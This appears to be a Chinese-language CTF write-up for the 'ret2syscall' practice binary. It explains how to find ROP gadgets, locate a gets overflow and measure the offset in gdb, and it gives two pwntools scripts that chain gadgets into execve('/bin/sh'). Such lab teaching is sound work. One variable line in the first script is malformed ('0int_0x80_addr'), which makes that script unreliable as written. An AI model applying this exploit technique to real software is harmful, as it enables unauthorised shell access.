ret2syscall
1、查看结构和保护措施
使用checksec <文件>查了架构和保护措施
几个方向：
没有PIE，ret2libc,ret2syscall
开启了NX保护，ret2libc，retsyscall
其他：ret2text
使用file <文件>查看链接方式
该文件属于静态链接（即在程序编译链接的过程中就将用到的库文件加入到可执行文件中），存在大量的可用的ROPgadget
gadget：代码小片段
ROPgadget：属于execve('/bin/sh',0,0)的代码小片段，结构是“pop-ret”。pop就是将存在栈的参数弹出给对应的寄存器，ret就是返回将存在栈中的返回地址弹出给ip寄存器。
ROP链：用代码小片段构造execve，这些小片段就构成了ROP链
构造的目标代码(execve)：
mov eax,0xb
mov ebx,['/bin/sh']
mov ecx,0
mov edx,0
int 0x80
=>execve('/bin/sh',0,0)
给寄存器赋值不分先后。有时候一个ROPgadget可以同时给多个寄存器赋值，尽量选择这些gadget
2、使用ROPgadget工具寻找gadget
打开linux终端，输入：ROPgadget --binary <文件> --only "pop|ret" 寻找对应的gadget。
发现了大量的gadget
有时候，我们也用：ROPgadget --binary <文件> --only "pop|ret" |grep "pop eax" 来快速地寻找能够对相应寄存器赋值的gadget
eax的gadget
ebx的gadget
ecx的gadget
edx的gadget
“/bin/sh”的gadget
ROPgadget --binary <文件> --string “/bin/sh”
int 0x80的gadget
ROPgadget --binary <文件> --only "int"
3、寻找危险函数
在main函数的汇编界面，按F5反编译成C语言代码
分析main函数的主逻辑
setvbuf关闭缓冲区，不存在漏洞
puts函数不存在漏洞
gets函数向main函数的局部变量v4写入无限长的字节数据，存在漏洞！
4、计算偏移量
IDA静态分析得出：v4到ret_addr的距离为0x64+0x4=0x68(不推荐直接用IDA分析出来的结果，还是得通过gdb动态调试来验证IDA分析的结果是否正确)
gdb动态调试求偏移量
①gdb <文件>
.
②b mian 或者start进入到程序的入口（当面对较复杂时，在我们想要的位置上打断点，具体会在ret2libc3介绍）
③使用r命令，如果有断点，停在断点处；
各个窗口如图所示
④在“DISASM”反汇编窗口观察程序执行逻辑，输入ni，进行单步过操作
⑤一直步过到“gets函数”，我们不需要进入到gets函数的内部，此时终端处于等待用户输入的状态（规律：凡是库函数都不需要进入函数内部）
输入’aaaa‘，（根据程序的位数输入4位还是8位的数据），然后执行stack <数字>查看任意多行的栈空间的情况
观察’aaaa‘数据最后存放在0xffffd14c的位置上，这就是v4的地址，返回地址就是ebp的下一单元
⑥计算v4到ret_addr的偏移量
v4的地址：0xffffd14c
ret_addr的地址：0xffffd1bc（其实gdb已经告诉我们这个地址里的内容就是_libc_start_main函数的下一条指令：mov dword ptr [esp],eax 的地址）
使用gdb自带的计算距离的指令：distance <地址1> <地址2>
distance 0xffffd14c 0xffffd1bc
计算得出偏移量：0x70 bytes
5、编写exp
exp1
from pwn import *
io = process('./ret2syscall')
pop_eax_ret_addr = 0x080bb196
pop_ecx__ebx_ret_addr = 0x0806eb91
pop_edx_ret_addr =0x0806eb6a
bin_sh_addr = 0x080be408
0int_0x80_addr = 0x08049421
payload = flat([b'A'*0x70,pop_eax_ret_addr,0xb,pop_ecx__ebx_ret_addr,0,bin_sh_addr,pop_edx_ret_addr,0,int_0x80_addr])
io.sendline(payload)
io.interactive()
exp2
from pwn import *
io = process('./ret2syscall')
bin_sh = 0x080be408
pop_edx_ecx_ebx_ret = 0x0806eb90
pop_eax_ret = 0x080bb196
int_0x80 = 0x08049421
payload = flat([b'A'*112,pop_eax_ret,0xb,pop_edx_ecx_ebx_ret,0,0,bin_sh,int_0x80])
io.sendline(payload)
io.interactive()